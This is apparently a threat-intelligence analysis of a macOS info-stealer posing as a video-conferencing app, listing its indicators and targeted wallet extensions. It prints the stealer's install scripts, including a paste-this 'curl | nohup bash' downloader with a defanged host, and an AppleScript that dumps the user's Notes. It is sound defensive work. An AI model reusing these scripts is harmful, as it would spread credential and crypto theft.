SHA1 hashes:
- f0b8ef7ba2dc9dcc6156ed5d26964798bbf5d29e (MeetLabs.dmg — a .dmg disk image)
- 213407de0ea5f352e2ab66cdb91e7e633c54cd1c (installer — the trojan’s executable file)
Obfuscator: Rust OLLVM (indirect global variable)
Description
A malicious program designed for computers running macOS. It steals various kinds information from infected devices, including logins and passwords saved in web browsers; cookie files; and data from crypto wallets. Threat actors disguise this trojan app as online video conferencing software and distribute it via malicious sites.
Mac.PWS.JobStealer.1 is written in the Rust programming language. The trojan’s code is obfuscated using Rust OLLVM, which makes it more difficult to analyze. In addition, the Foreign Function Interface (or FFI) for Objective-C is actively used in the trojan, which allows Mac.PWS.JobStealer.1 to create phishing windows and run OSA scripts.
Operating routine
Distribution
Mac.PWS.JobStealer.1 can be downloaded from malicious websites in two formats:
- as a .dmg disk image containing the trojan’s executable file and the script for launching it;
- as an executable file directly.
In the first case, when instaled from the DMG image, the script assigns the necessary attributes to the trojan executable file and runs it:
DIR="$(cd "$(dirname "$0")" && pwd)"
APP_NAME="installer"
APP_PATH="$DIR/.back/$APP_NAME"
TEMP_APP="/tmp/$APP_NAME"
rm -rf "$TEMP_APP"
cp -r "$APP_PATH" "$TEMP_APP"
xattr -c "$TEMP_APP"
chmod +x "$TEMP_APP"
clear
nohup /tmp/installer &>/dev/null &
clear
In the second case, the malicious actors provide the following type of bash command: curl -s hxxps[:]//macos[.]meetix[.]app/install | nohup bash &. They ask the user to copy it and run it in the terminal. When the command is executed, a script is loaded from the website, and that script downloads and launches Mac.PWS.JobStealer.1’s executable file:
#!/usr/bin/env bash
SOFT_NAME="Meetix"
INSTALL_DIR="/usr/local/bin"
DOWN_URL="hxxps[:]//macos[.]meetix[.]app/installer"
echo "Installing the app..."
TMP_FILE=$(mktemp)
trap 'rm -f "$TMP_FILE"' EXIT
curl -fsSL "$DOWN_URL" -o "$TMP_FILE"
chmod +x "$TMP_FILE"
"$TMP_FILE" > /dev/null
Execution
When launched, Mac.PWS.JobStealer.1 decrypts the URL hxxps[:]//526eff9f8bb7aafd7117ca5e33a6a183@o4509139651198976[.]ingest[.]de[.]sentry[.]io/4509422649213008, which leads to a legitimate service for monitoring app activity. If this URL is missing, or an error occurs while it is being processed, Mac.PWS.JobStealer.1 attempts to obtain another URL from the variable SENTRY_DSN.
Regardless of the result of processing the target URL, the malicious program checks the environment for the following variables: SENTRY_RELEASE, SENTRY_ENVIRONMENT, HTTP_PROXY, HTTPS_PROXY, and SSL_VERIFY.
The trojan actively uses the Objective-C functions to work with the Core Foundation objects. In particular, a Cacao application is created using the sharedApplication() method of the RSTApplication class.
Mac.PWS.JobStealer.1 uses the Rust programming language method https://github.com/apache/teaclave-sgx-sdk/blob/b635249a1cbf55d5eb15819b4578827f2a27d8a0/sgx_sync/src/once.rs#L150 to call a function that sets up callbacks to the main states of the created Cacao app’s lifecycle. The core trojan functionality is linked with the state applicationDidFinishLaunching:. When the app enters this state, the trojan proceeds to execute its primary malicious tasks.
1. The trojan obtains information about the OS version and the UUID of the infected computer by running the command ioreg -rd1 -c IOPlatformExpertDevice via the ZSH shell (Z shell).
2. It tries to connect to the C2 server hxxps[:]//cloudproxy[.]link/m/opened. If it fails, the trojan displays a window with the text Cannot connect to the server. Please reinstall or use VPN..
3. It displays a window asking for the Mac user’s account password. If the password is incorrect, the trojan app is executed in the mode force_mode.
4. It copies the files /Users/%USERNAME%/Library/Keychains/login.keychain-db and /Library/Keychains/login.keychain.
5. It attempts to access Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, and CocCoc browser data using the following parameters: browser name, browser name in the process list, and the storage name.
Next, it goes through the list of target browsers and finds the following data:
- Cookies (for this, the trojan uses the code https://github.com/hakaioffsec/browservoyage/blob/main/src/chrome/macos.rs#L329).
- Crypto wallet browser extensions. First it tries to locate the extension with the ID hnfanknocfeofbddgcijnmhnfnkdnaad, which is the Coinbase Wallet. It also has an encrypted list of other wallets, consisting of 298 positions (listed below).
- Bank card data saved in the autofill list (for this, it uses code based on https://github.com/lusca0x01/MaldevTechniques/blob/9d5bd787a749017c73d275899e89685bbaaae46e/SRIS/src/browser/database.rs#L144).
- Passwords saved in the autofill list.
6. It obtains an external IP address by accessing hxxps[:]//freeipapi[.]com/api/json.
7. It collects information about the operating system.
8. It collects Telegram messenger files located at /Library/Application Support/Telegram Desktop/tdata and /Documents/temp_data/Apps/Telegram.
9. It runs an OSA script that accesses all of the user’s notes from the default macOS Notes application and saves them to a file. This script looks like this:
tell application "Notes"
repeat with theAccount in accounts
repeat with theFolder in folders of theAccount
repeat with theNote in notes of theFolder
set noteTitle to name of theNote
if noteTitle is "" then set noteTitle to "Untitled"
set safeTitle to do shell script "echo " & quoted form of noteTitle & " | tr -cd '[:alnum:] _-'"
set filePath to "/" & safeTitle & ".txt"
set noteBody to body of theNote
set fileRef to open for access filePath with write permission
set eof of fileRef to 0
write noteBody to fileRef
close access fileRef
end repeat
end repeat
end repeat
end tell
10. It checks whether the directories /Applications/Ledger Live.app and /Applications/Trezor Suite.app are present to determine whether the crypto wallets Ledger Live and Trezor Suite are installed in the system. The trojan does not copy these wallets’ data and only informs the C2 server about their presence.
11. It archives collected data into a ZIP file which then uploads to the C2 server at hxxps[:]//cloudproxy[.]link/m/opened.
12. It forms a JSON containing the information about the collected data and uploads it to sentry[.]io.
The structure of this JSON is as follows:
- 'ip': , — the field ipAddress from the response hxxps[:]//freeipapi[.]com/api/json;
- 'geo': , — the field countryName from the response hxxps[:]//freeipapi[.]com/api/json;
- 'build_name': , — the value 'N9T' hardcoded in the trojan’s code;
- 'build_version': , — the value '9.9.10' hardcoded in the trojan’s code;
- 'filename': , — the result of the function _NSGetExecutablePath() execution;
- 'pers_password': , — the Mac user account password obtained with the phishing window implemented in the function rst_phish_lpe;
- 'passwords': , — the number of passwords extracted from the browsers;
- 'cookies': , — the number of cookie files extracted from the browsers;
- 'wallets': , — the number of dumps extracted from the browsers containing data from crypto wallet extensions;
- 'credits': , — the amount of bank card data extracted from the browsers;
- 'is_vm': , — the value True is always specified;
- 'hardwares': , — the strings Trezor and Ledger, separated by commas, are specified if the corresponding apps are present;
- 'force_mode': — the mode in which the password typed into the phishing window by the user is incorrect. In this case, the field pers_password remains empty.
The list of target crypto wallet extensions
The encrypted list of crypto wallet browser extensions whose data Mac.PWS.JobStealer.1 tries to extract:
| The crypto wallet extension’s name | The extension ID |
|---|---|
| Tronlink | ibnejdfjmmkpcnlpebklmnkoeoihofec |
| NiftyWallet | jbdaocneiiinmjbjlgalhcelgbejmnid |
| Metamask | nkbihfbeogaeaoehlefnkodbefgpgknn |
| MetamaskE | ejbalbakoplchlghecdalmeeeajnimhm |
| MathWallet | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| Coinbase | hnfanknocfeofbddgcijnmhnfnkdnaad |
| Ambire | ehgjhhccekdedpbkifaojjaefeohnoea |
| BinanceChain | fhbohimaelbohpjbbldcngcnapndodjp |
| BraveWallet | odbfpeeihdkbihmopkbjmoonfanlbfcl |
| GuardaWallet | hpglfhgfnhbgpjdenjgmdgoeiappafln |
| EqualWallet | blnieiiffboillknjnepogjhkgnoapac |
| JaxxxLiberty | cjelfplplebdjjenllpjcblmjkfcffne |
| BitAppWallet | fihkakfobkmkjojpchpfgcmhfjnmnfpi |
| iWallet | kncchdigobghenbbaddojjnnaogfppfj |
| Wombat | amkmjjmmflddogmhpjloimipbofnfjih |
| AtomicWallet | fhilaheimglignddkjgofkcbgekhenbh |
| MewCx | nlbmnnijcnlegkjjpcfjclmcfggfefdm |
| GuildWallet | nanjmdknhkinifnkgdcggcfnhdaammmj |
| SaturnWallet | nkddgncdjgjfcddamfgcmfnlhccnimig |
| RoninWallet | fnjhmkhhmkbjkkabndcnnogagogbneec |
| TerraStation | aiifbnbfobpmeekipheeijimdpnlpgpp |
| HarmonyWallet | fnnegphlobjdpkhecapkijjdkgcjhkib |
| Coin98Wallet | aeachknmefphepccionboohckonoeemg |
| TonCrystal | cgeeodpfagjceefieflmdfphplkenlfk |
| KardiaChain | pdadjkfkgcafgbceimcpbkalnfnepbnk |
| Phantom | bfnaelmomeimhlpmgjnjophhpkkoljpa |
| PaliWallet | mgffkfbidihjpoaomajlbgchddlicgpn |
| BoltX | aodkkagnadcbobfpggfnjeongemjbjca |
| LiqualityWallet | kpfopkelmapcoipemfendmdcghnegimn |
| XdefiWallet | hmeobnfnfcmdkdcmlblgagmfpfboieaf |
| NamiWallet | lpfcbjknijpeeillifnkikgncikgfhdo |
| MaiarDeFiWallet | dngmlblcodfobpdpecaadgfbcggfjfnm |
| Backpack | aflkmfhebedbjioipglgcbcmnbpgliof |
| PetraWallet | ejjladinnckdgjemekebdpeokbikhfci |
| MartianWallet | efbglgofoippbgcjepnhiblaibcnclgk |
| RiseWallet | hbbgbephgojikajhfbomhlmmollphcad |
| TrustWallet | egjidjbpglichdcondbcbdnbeeppgdph |
| PontemWallet | phkbamefinggmakgklpkljjmgibohnba |
| UniSat | ppbibelpcjmhbdihakflkdcoccbgbkpo |
| Braavos Smart Wallet | jnlgamecbpmbajjfhmmmlhejkemejdma |
| BNB Chain Wallet | fhbohimaelbohpjbbldcngcnapndodjp |
| Fin Wallet For Sei | dbgnhckhnppddckangcjbkjnlddbjkna |
| Core Wallet | agoakfejjabomempkjlepdflaleeobhb |
| Leo Wallet | nebnhfamliijlghikdgcigoebonmoibm |
| Koala | lnnnmfcpbkafcpgdilckhmhbkkbpkmid |
| Sui Wallet | opcgpfmipidbgpenhmajoajpbobppdil |
| Fetch Wallet | ellkdbaphhldpeajbepobaecooaoafpg |
| Gate Wallet | cpmkedoipcpimgecpmgpldfpohjplkpp |
| Ethos Sui Wallet | mcbigmjiafegjnnogedioegffbooigli |
| Suiet | Sui Wallet | khpkpbbcccdmmclmpigdgddabeilkdpd |
| Ecto Wallet | bgjogpoidejdemgoochpnkmdjpocgkha |
| Glass wallet | Sui wallet | loinekcabhlmhjjbocijdoimmejangoa |
| Elli - Sui Wallet | ocjdpmoallmgmjbbogfiiaofphbjgchh |
| Argent X - Starknet Wallet | dlcobpjiigpikoobohmabehhmhfoodbb |
| SafePal Wallet | lgmpcpglpngdoalbgeoldeajfclnhafa |
| Bitfinity Wallet | jnldfbidonfeldmalbflbmlebbipcnle |
| Fewcha Move Wallet | ebfidpplhabeedpnhjnobghokpiioolj |
| Morphis Wallet | heefohaffomkkkphnlpohglngmbcclhi |
| Temple - Tezos Wallet | ookjlbkiijinhpmnjffcofjonbfbgaoc |
| Carax Wallet | mdjmfdffdcmnoblignmgpommbefadffd |
| Venom Wallet | ojggmchlghnjlapmfbnjholfjkiidbch |
| Fearless Wallet | nhlnehondigmgckngjomcpcefcdplmgc |
| NC Wallet | imlcamfeniaidioeflifonfjeeppblda |
| LootRush Wallet | lfmmjkfllhmfmkcobchabopkcefjkoip |
| Ramper Wallet | nbdhibgjnjpnkajaghbffjbkcgljfgdi |
| Flow Reference Wallet | hpclkefagolihohboafpheddmmgdffjm |
| Leap Cosmos Wallet | fcfcfllfndlomdhbehjjcoimbgofdncg |
| EVER Wallet | cgeeodpfagjceefieflmdfphplkenlfk |
| Monsta Wallet | hpbgcgmiemanfelegbndmhieiigkackl |
| Wallet Highlighter - Crypto Fraud & Risk Tool | cnmbailpgmdagpofalkeoeooefdkjfdl |
| Pontem Aptos Wallet | phkbamefinggmakgklpkljjmgibohnba |
| Halo Wallet | nbdpmlhambbdkhkmbfpljckjcmgibalo |
| Signum XT Wallet | kdgponmicjmjiejhifbjgembdcaclcib |
| Stargazer Wallet | pgiaagfkgcbnmiiolekcfmljdagdhlcm |
| Sender Wallet | epapihdplajcdnnkdeiahlgigofloibg |
| Manta Wallet | enabgbdfcbaehmbigakijjabdpdnimlg |
| Surf Wallet | emeeapjkbcbpbpgaagfchmcgglmebnen |
| Casper Wallet | abkahkcbhngaebpcgfmhkoioedceoigp |
| Compass Wallet for Sei | anokgmphncpekkhclmingpimjmcooifb |
| Zerion: Wallet for Web3 & NFTs | klghhnkeealcohjjanjjdaeeggmfmlpl |
| Viction Wallet | nopnfnlbinpfoihclomelncopjiioain |
| Ninji Wallet | kkpllbgjhchghjapjbinnoddmciocphm |
| Wallet Guardian | ooiepdgjjnhcmlaobfinbomgebfgablh |
| Aurox Wallet | kilnpioakcdndlodeeceffgjdpojajlo |
| Crypto.com | Wallet | hifafgmccdpekplomjjkcfgodnhcellj |
| Xverse Wallet | idnnbdplmphpflfnlkomgpfbpcgelopg |
| Frontier Wallet | kppfdiipphfccemcignhifpjkapfbihd |
| Fuelet Wallet | Fuel | bifidjkcdpgfnlbcjpdkdcnbiooooblg |
| Ultra Wallet | kjjebdkfeagdoogagbhepmbimaphnfln |
| Rabby Wallet | acmacodkjbdgmoleebolmdjonilkdbch |
| ONTO Wallet | ifckdpamphokdglkkdomedpdegcjhjdp |
| Keeper Wallet | lpilbniiabackdjcionkobglmddfbcjo |
| Suku Wallet | fopmedgnkfpebgllppeddmmochcookhc |
| TokenPocket | mfgccjchihfkkindfppnaooecgfneiii |
| Bitget Wallet (Formerly BitKeep) | jiidiaalihmmhddjgbnbgdfflelocpak |
| Trust Wallet BETA BUILD | eaeecbmeajhliilmacefcgjnnijkkfki |
| SubWallet - Polkadot Wallet | onhogfjeacnfoofkfgppdlbmlmnplgbn |
| Nautilus Wallet | gjlmehlldlphhljhpnlddaodbjjcchai |
| cola wallet | apgjfbcibghlclbdiipmojppngeilcol |
| Leap Terra Wallet | aijcbedoijmgnlmjeegjaglmepbmpkpi |
| Cirus: Crypto Wallet | Web3 | Earn Crypto | kgdijkcfiglijhaglibaidbipiejjfdp |
| Solflare Wallet | bhhhlbepdkbapadjdnnojkbgioiodbic |
| SenSui Wallet | ebaeifdbcjklcmoigppnpkcghndhpbbm |
| Desig Wallet | panpgppehdchfphcigocleabcmcgfoca |
| Spacecy Wallet | mkchoaaiifodcflmbaphdgeidocajadp |
| D/Wallet | ngakogceekkandcbkniokoghdckjhhok |
| Fuel Wallet | dldjpboieedgcmpkchcjcbijingjcgok |
| Wallet Guard: Protect Your Crypto | pdgbckgdncnhihllonhnjbdoighgpimk |
| OrdiFind Wallet | dpcklmdombjcplafheapiblogdlgjjlb |
| G.U. Wallet | nfinomegcaccbhchhgflladpfbajihdf |
| Wigwam — Web3 Wallet | lccbohhgfkdikahanoclbdmaolidjdfl |
| Bee Wallet | nankopfjhdflikcokhgohiaoehnjfako |
| Oasis Wallet | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| ABC Wallet | mlhakagmgkmonhdonhkpjeebfphligng |
| Addy - Quick Wallet Copy | glhefpglgefbmegkpjkdgoikologepdl |
| Typhon Wallet | kfdniefadaanbjodldohaedphafoffoh |
| Hana Wallet | jfdlamikmbghhapbgfoogdffldioobgl |
| Exodus Web3 Wallet | aholpfdialjgjfhomihkjbmgjidlcdno |
| Flint Wallet | hnhobjmcibchnmglfbldbfabcgaknlkj |
| OsmWallet - Your XRP wallet. | kmphdnilpmdejikjdnlbcnmnabepfgkh |
| Stamp Wallet | ldcihfaojdpmhjkhioilfjjckehehddg |
| Indexx Wallet | fpibioaihcagphbidhodidjbnclocgll |
| Degen Wallet | ejdmhlhkcfbkcoifejkcbonhodkgflgg |
| MultiversX DeFi Wallet | dngmlblcodfobpdpecaadgfbcggfjfnm |
| Litescribe Wallet | ajofhbfomojicfifgoeeimefklkfdkfn |
| Bitgreen Wallet | elalghlhoepcjfaedkcmjolahamlnjcp |
| Falcon Wallet | gkhnjcpkikkkfhhdhhphcbhmkikoicgn |
| Radix Wallet Connector | bfeplaecgkoeckiidkgkmlllfbaeplgm |
| Vega Wallet - Mainnet | codfcglpplgmmlokgilfkpcjnmkbfiel |
| Internet Money | Crypto Wallet | ckklhkaabbmdjkahiaaplikpdddkenic |
| Magic Eden Wallet | mkpegjkblkkefacfnmkajcjmabijhclg |
| Twetch Wallet | jaooiolkmfcmloonphpiiogkfckgciom |
| Enkrypt: Multichain Crypto Wallet | kkpllkodjeloidieedojogacfhpaihoh |
| Virgo Wallet | ibljocddagjghmlpgihahamcghfggcjc |
| Cosmostation Wallet | fpkhgmpbidmiogeglndfbkegfdlnajnf |
| D-Wallet | bccippoanbhflmokhkbkepmhmndijenh |
| 5ire Wallet | keenhcnmdmjjhincpilijphpiohdppno |
| Alby - Bitcoin Wallet for Lightning & Nostr | iokeahhehimjnekafflcihljlcjccdbe |
| DPal:Wallet for DogeCoin | lmkncnlpeipongihbffpljgehamdebgi |
| Tonkeeper — wallet for TON | omaabbefbmiijedngplfjmnooppbclkk |
| BlocksPay: Secure Multiple Chains Wallet | pogabilnghhbafaheaepaaeopjpleimd |
| Beam Web Wallet | ilhaljfiglknggcoegeknjghdgampffk |
| NEAR Wallet in dark mode | ohjgojhmjldjfningdelbffpnddmiphh |
| Polymesh Wallet | jojhfeoedkpkglbfimdfabpdfjaoolaf |
| Cling Wallet | kppgpfphbmbcgeglphjnhnhibonmebkn |
| Talisman - Ethereum and Polkadot Wallet | fijngjgcjhjmmpcmkeiomlglpeiijkld |
| CLV Кошелёк | nhnkbkgjikgcigadomkphalanndcapjk |
| Wizz Wallet(Formerly Atom) | ghlmndacnhlaekppcllcpcjjjomjkjpg |
| Harbor - Crypto Wallet | hgbeiipamcgbdjhfflifkgehomnmglgk |
| TON Wallet | nphplpgoakhhjchkkhmiggakijnkhfnd |
| TanglePay IOTA Wallet | hbneiaclpaaglopiogfdhgccebncnjmc |
| Virtual Labs Wallet | hlbmghfhijdlnllnnnakmcagdfhhkfna |
| HAVAH Wallet | cnncmdhjacpkmjmkcafchppbnpnhdmon |
| Hoogii Wallet | jljjeghmeihjegifdhbghcoihdiegkkl |
| MyTonWallet · My TON Wallet | fldfpgipfncgndfolcbkdeeknbbbnhcc |
| LeafWallet - Easy to use EOS wallet | cihmoadaighcejopammfbmddcmdekcje |
| VOFO Wallet | jmgipjhlmabpmcikcahmmgleghckefjg |
| Fluvi Wallet | mmmjbcfofconkannjonfmjjajpllddbg |
| Mojito - A Mintlayer Wallet | hbnpcbochkgodkmmicbhfpmmkhbfbhim |
| Reef Chain Wallet | mjgkpalnahacmhkikiommfiomhjipgjn |
| OKX Wallet | mcohilncbfahbmgdjkbpemcciiolgcge |
| Slope Wallet | pocmplpaccanhmnllbbkpgfliimjljgo |
| Bitverse Wallet | gkeelndblnomfmjnophbhfhcjbcnemka |
| Biport Wallet | mapbhaebnddapnmifbbkgeedkeplgjmf |
| Alephium Wallet | gdokollfhmnbfckbobkdbakhilldkhcj |
| OVG Wallet | ghihpcdpbjaaomhlfnhdlocimojkinpm |
| Diver Wallet | pdlocjdlejekdbpghdcmedeacpkfiiof |
| Carbon Wallet | pnphepacpjpklpbacfmebicbgndobakn |
| Bybit Wallet | pdliaogehgdbhbnmkklieghmmjkpigpa |
| xBull Wallet | omajpeaffjgmlpmhbfdjepdejoemifpe |
| XPLA Vault Wallet | ocjobpilfplciaddcbafabcegbilnbnb |
| Figure Wallet | mgbfflhghaohmaecmaggieniidindaoc |
| ADS Wallet | algblmhagnobbnmakepomicmfljlbehg |
| Crust Wallet | jccapkebeeiajkkdemacblkjhhhboiek |
| zkID Wallet | ahkpfejaeoepmfopmbhjgjekibmfcfgo |
| DID Wallet | ibjflpbmadchofnbpppegdbnifdgincp |
| Panda Wallet | mlbnicldlpdimbjdcncnklfempedeipj |
| XcelPay Wallet | ehjiblpccbknkgimiflboggcffmpphhp |
| Cypher Wallet | niiaamnmgebpeejeemoifgdndgeaekhe |
| Cyano Wallet | dkdedlpgdmmkkfjabffeganieamfklkm |
| RWA Wallet | fhmmkjofdcpnoklcbcnbjjhigobceikb |
| XIDAR Wallet for RadixDLT | hgnpaljkalilofmmbhgkkldbdbogddlo |
| ATOM Wallet | jnggcdmajcokeakpdeagdhphmkioabem |
| AIN Wallet | hbdheoebpgogdkagfojahleegjfkhkpl |
| V Wallet | afccgfbnbpgfdokbllhiccepgggofoco |
| Bittensor Wallet | bdgmdoedahdcjmpmifafdhnffjinddgc |
| EVER Wallet beta | mfiealgchgibibbamfjebflnfjihfedk |
| Arbolet wallet | jhnilbocebbmeelaolalihfokjgdmogb |
| Titan Wallet | bplepbelihejfpcjoeialhjpamgpnfln |
| Safle Wallet | pmmbeeacafhbpgmlkacpadheejlhhkbf |
| Portkey Wallet: Crypto & Games (Deprecated) | hpjiiechbbhefmpggegmahejiiphbmij |
| Termino Wallet | bbjmepflljbbfaehppakknfgdnojoled |
| Hippo Wallet | hddkffjleepiafmkhcneldjipkfkkofk |
| Dingocoin Wallet | njoljnomkdoakfphjbapdopdcneceeaf |
| BRC20 Wallet | ifgjklbmlnimhldbmddmkdhoahfocppf |
| WELLDONE Wallet for multichain | bmkakpenjmcpfhhjadflneinmhboecjf |
| Nest Wallet | cmoakldedjfnjofgbbfenefcagmedlga |
| SKY Wallet | llakdhpogpnejheknjbhbadoaomejgbi |
| Concordium Wallet | mnnkpffndmickbiakofclnpoiajlegmg |
| Quantum Wallet | ajopcimklncnhjednieoejhkffdolemp |
| Nabox Wallet | nknhiehlklippafakaeklbeglecifhad |
| Apex Wallet | oppceojapmdmhpnmjpballbbdclocdhj |
| Blade – Hedera Web3 Digital Wallet | abogmiocnneedmmepnohnhlijcjpcifd |
| SAFEW - Simple And Fast Ergo Wallet | fmpbldieijjehhalgjblbpgjmijencll |
| Free City Wallet | bmmhjnaohafphhlecmkkiaaglcebcapn |
| HBAR crypto wallet | kkpehldckknjffeakihjajcjccmcjflh |
| YellowHeart - Wallet | oponnjpnbhdmohlkonljdfhbeibljfoa |
| LimeCoinX Wallet | jhjebgdkdemiibiibgickfkilfpbelaj |
| SSP Wallet | mgfbabcnedcejkfibpafadgkhmkifhbd |
| MOOI Wallet | dpdmipjakdiapplcecdmgckknipnfjph |
| Salmon Wallet | ejbidfepgijlcgahbmbckmnaljagjoll |
| Pockie Wallet | dmjmllblpcbmniokccdoaiahcdajdjof |
| Legacy Wallet | ammjlinfekkoockogfhdkgcohjlbhmff |
| EZ Bitcoin wallet | caalbmclnkldkcgcdkfiapoopikbofnl |
| Razor Wallet | fdcnegogpncmfejlfnffnofpngdiejii |
| Samara: Web Wallet for Crypto | fcjkomdnccnlklmhncgmaehaakjkddnk |
| Sugarchain Wallet | pgojdfajgcjjpjnbpfaelnpnjocakldb |
| OpenMask - TON wallet | penjlddjkjgpnkllboccdgccekpkcbin |
| XPLA GAMES Wallet | kolfcecahpbgbilkdkalabnfjjklkkae |
| Kabila Wallet | cnoepnljjcacmnjnopbhjelpmfokpijm |
| Kuma Wallet | hbinmkhlebcnghpikoekkbeljbealbje |
| GoSat Wallet | olgpchjlegmakkhfbahgnjojlefnealp |
| Metahub Wallet | nglnaekfdaelelcaokeemlnopjhekdkj |
| Puzzle | Aleo Wallet | fdchdcpieegfofnofhgdombfckhbcokj |
| Unification Web Wallet | mkjjflkhdddfjhonakofipfojoepfndk |
| Tron Wallet & Explorer - Tronium | pnndplcbkakcplkjnolgbkdgjikjednm |
| Multi Wallet | nlgnepoeokdfodgjkjiblkadkjbdfmgd |
| Klever Wallet | ifclboecfhkjbpmhgehodcjpciihhmif |
| Vanta Wallet | modjfdjcodmehnpccdjngmdfajggaoeh |
| Wealth Bear Wallet | fjghjobbfggoacelnibacipoilennobn |
| Unwa Wallet | gkpbmnplcjdnnmmiaaphofhdiicdhfah |
| MetaMask | olkbchllhcflpbjfgagahpkjnjioiedg |
| Penumbra wallet | lkpmkhpnhknhmibgnmmhdhgdilepfghe |
| Classic Station Wallet | emgcpdnckldpdhjgmkeeahfaokmhgpab |
| Cyano Wallet Pro | icmkfkmjoklfhlfdkkkgpnpldkgdmhoe |
| Pulse Wallet Chromium | ciojocpkclfflombbcfigcijjcbkmhaf |
| OrdPay Wallet | jfflgdhkeohhkelibbefdcgjijppkdeb |
| Comet Wallet | bhmbcdekobebkhmloafbjfdcphbmpcnm |
| Wallet with marketmaking | oldojieloelkkfeacfinhcngmbkepnlh |
| CHI Wallet | fajmdbbmcncahahilpfdiacamedmgdlk |
| TRIO Wallet | bidcmgjdfgkagkleecdockomdjlgglbg |
| Deloitte Credentials Wallet | bflldjbbpcjgooclhpmhdhioebmnnkcm |
| Iron Wallet | eljobehkpcnpekmbcjiidekjhkbcnpkf |
| Energy8 Wallet | mdnaglckomeedfbogeajfajofmfgpoae |
| Lite Wallet | oklkeijlcjcpbokmkmnjepjhnggkfkcl |
| JustLiquidity Wallet | cmbagcoinhmacpcgmbiniijboejgiahi |
| TezBox - Tezos Wallet | mnfifefkajgofkcjkemidiaecocnkjeh |
| Goldmint Lite Wallet | fnabdmcgpkkjjegokfcnfbpneacddpfh |
| Run Wallet | oehdbmfbnjnpahadljbdcjndmepmgjgl |
| ZEON Wallet | gbjepgaebckfidagpfeioimheabiohmg |
| Elysium Wallet | fbplgegfggencanbeceipjpanlmgpkfi |
| Companion Wallet | amdcajcnofodjpgbbdnnjkffamfnidae |
| YAKKL® Smart Wallet | dpmfhilhjlhhakpbieclcghochdofeao |
| AOK Wallet | aoedbjimepepemdafoodplnknfkmbnle |
| Blockcore Wallet | peigonhbenoefaeplkpalmafieegnapj |
| XDB Wallet | bodadjcgfgigmmnambomndppidgdjlni |
| Astrone Wallet | dpealdfjgahljjdekeiadjnfgpijffhg |
| MOBOX WALLET | fcckkdbjnoikooededlapcalpionmalo |
| Kaanch Wallet | jicpmdkafljkkppgpellcjhfhdmjpogm |
| EQ Hub Wallet | jjkhekbaikcnpnhflnnlnbonkkobkiim |
| Pando Network Wallet | emafjfadeeammocialbgjbaeldmpddne |
| WalletX | Smart Wallet | mdjjoodeandllhefapdpnffjolechflh |
| Wallet Inc: Merchant Daily Stats | dfbacijefbcabjnngipfnbhcpoldlkcg |
| Pools Wallet | bcpialkijhffpgnmgjhjmdeabdbbfmbo |
| Nebulas Wallet | magbanejlegnbcppjljfhnmfmghialkl |
| Galaxy Station Wallet | akckefnapafjbpphkefbpkpcamkoaoai |
| Opencrypt Wallet Generator | ikcpjgihikfinlkobegiiogdigohmfam |
| Spade Wallet | idpfplgehakelkdadhcacicjjbemjbke |
| Sequence Wallet | ocmccklecaalljlflmclidjeclpcpdim |
| Nintondo Wallet | akkmagafhjjjjclaejjomkeccmjhdkpa |
| C2X Station Wallet | ofeeamlegilfbjlgbephmdhchpblfigo |
| Ethical Wallet | nfaepmamdapehcbedhejbjcpnlcldodi |
| 1PasswordM | aeblfdkhhhdcdjpifhhbdiojplfjncoa |
| 1PasswordB | khgocmkkpikpnmmkgmdnfckapcdkgfaf |
| 1PasswordN | gejiddohjgogedgjnonbofjigllpkmbf |
| LastPass | hdokiejnpimakedhajhdlcegeplioahd |
| ProtonPass | ghmbeldphafepmbegfdlkpapadhbakde |
| DashlanePass | fdjamakpfbbddfjaooikfcpapjohcfmg |